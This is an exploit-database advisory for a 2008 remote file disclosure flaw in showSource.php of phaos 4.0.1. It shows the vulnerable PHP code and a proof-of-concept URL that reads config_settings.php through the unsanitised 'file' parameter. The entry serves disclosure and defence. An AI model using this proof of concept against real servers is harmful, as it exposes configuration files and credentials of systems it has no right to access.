Remote File Disclosure Vulnerability in showSource.php phaos4.0.1

vendor:

phaos

by:

HaCkeR_EgY

7.5

CVSS

HIGH

Remote File Disclosure

200

CWE

Product Name: phaos

Affected Version From: phaos4.0.1

Affected Version To: phaos4.0.1

Patch Exists: YES

Related CWE: N/A

CPE: a:phaos:phaos:4.0.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Remote File Disclosure Vulnerability in showSource.php phaos4.0.1

A Remote File Disclosure vulnerability exists in showSource.php of phaos4.0.1. The vulnerability is due to the application not properly sanitizing user-supplied input to the 'file' parameter of the showSource.php script. This can be exploited to disclose the contents of arbitrary files on the affected system by passing a specially crafted URL to the vulnerable script.

Mitigation:

The vendor has released an update to address this issue. Users are advised to upgrade to the latest version.

Source

Exploit-DB raw data:

####################################################################################
                                          }}} Remote File Disclosure Vulnerability {{{
 
                                                  in (showSource.php)  phaos4.0.1
 
       MY HOmE :  WWW.PAL-HACkEr.COM                                        WWW.ATSDP.COM
####################################################################################
## AUTHOR :  HaCkeR_EgY
## My HoMe :  www.PaL-HaCker.com  &   www.ATSDP.com
## ConTacT :  hacker_egy@hotmail.com
-----------------------------------------------
## script: phaos4.0.1
##download:http://sourceforge.net/project/showfiles.php?group_id=111506
###################################################################
### vurn C0dE :
 
## line 16: 
 
 showSource($file, $line, $prev, $next);  <=====
function showSource($file, $line, $prev = 10, $next = 10) {
   
    if (!(file_exists($file) && is_file($file))) {
        return trigger_error("showSource() failed, file does not exist `$file`", E_USER_ERROR);
        return false;
    }
   
    //read code
## line 35 :   ob_start();
    highlight_file($file); <<========
    $data = ob_get_contents();
    ob_end_clean();

## P0C:
            http://localhost/[path]/erorr/showSource.php?file=config_settings.php

#################################################################################
 
## GREETZ TO :   My BrOther and My MasTer   " Abo Mohamed "   ADMIN PAL-HACKER
 
##  Thanx     : F0UaD Pr0gRaMeR  , FiReSell  , MoHamed EL Arab  ,  Mr.exe  ,  zaradusht  , and all " pal-hacker members "
 
#####################################################################################

# milw0rm.com [2008-04-09]